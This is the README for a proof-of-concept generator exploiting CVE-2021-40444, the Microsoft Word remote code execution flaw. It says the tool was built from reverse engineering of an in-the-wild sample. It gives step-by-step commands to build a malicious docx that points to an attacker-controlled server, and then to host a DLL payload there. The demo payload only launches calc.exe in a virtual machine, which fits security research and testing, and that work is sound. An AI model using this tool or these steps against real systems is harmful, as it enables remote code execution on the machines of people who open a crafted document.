CVE-2021-40444 PoC is a Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)
Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)
You need to install lcab first (sudo apt-get install lcab)
Check REPRODUCE.md for manual reproduce steps
If your generated cab is not working, try pointing out exploit.html URL to calc.cab
First generate a malicious docx document given a DLL, you can use the one at test/calc.dll which just pops a calc.exe from a call to system()
python3 exploit.py generate test/calc.dll http://<SRV IP>
Once you generate the malicious docx (will be at out/) you can setup the server:
sudo python3 exploit.py host 80
Finally try the docx in a Windows Virtual Machine:
